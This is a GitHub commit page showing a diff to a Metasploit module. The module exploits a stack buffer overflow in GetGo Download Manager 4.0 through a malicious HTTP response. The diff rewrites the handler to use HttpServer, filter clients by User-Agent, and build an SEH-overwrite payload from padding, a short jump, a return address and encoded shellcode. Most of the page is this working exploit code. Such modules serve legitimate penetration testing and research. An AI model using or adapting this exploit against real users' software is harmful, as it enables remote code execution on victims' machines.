Skip to content

Commit ef0be94

Browse files
committed
Use HttpServer instead of TcpServer
1 parent da0fce1 commit ef0be94

File tree

1 file changed

+17
-10
lines changed

1 file changed

+17
-10
lines changed

modules/exploits/windows/browser/getgodm_http_response_bof.rb

Lines changed: 17 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
99
Rank = NormalRanking
1010

1111
include Msf::Exploit::Remote::Seh
12-
include Msf::Exploit::Remote::TcpServer
12+
include Msf::Exploit::Remote::HttpServer
1313

1414
def initialize(info = {})
1515
super(update_info(info,
@@ -59,21 +59,28 @@ def initialize(info = {})
5959
'DefaultTarget' => 0))
6060
end
6161

62-
def on_client_connect(client)
62+
def on_request_uri(cli, request)
6363

64-
sploit = "HTTP/1.1 200 "
65-
sploit << rand_text_alpha(target['Offset'])
64+
print_status("Client connected...")
65+
66+
unless request['User-Agent'] =~ /GetGo Download Manager 4.0/
67+
print_error("Sending 404 for unknown user-agent")
68+
send_not_found(cli)
69+
return
70+
end
71+
72+
sploit = rand_text_alpha(target['Offset'])
6673
sploit << "\x90\x90\xEB\x06"
6774
sploit << [target.ret].pack('V')
6875
sploit << payload.encoded
6976

70-
print_status("Sending #{sploit.length} bytes to #{client.peerhost}:#{client.peerport}...")
71-
client.put(sploit)
77+
print_status("Sending #{sploit.length} bytes to port #{cli.peerport}...")
7278

73-
sleep(3)
74-
handler(client)
75-
service.close_client(client)
79+
resp = create_response(200, sploit)
80+
resp.body = ""
81+
cli.send_response(resp)
7682

77-
end
83+
close_client(cli)
7884

85+
end
7986
end

0 commit comments

Comments
 (0)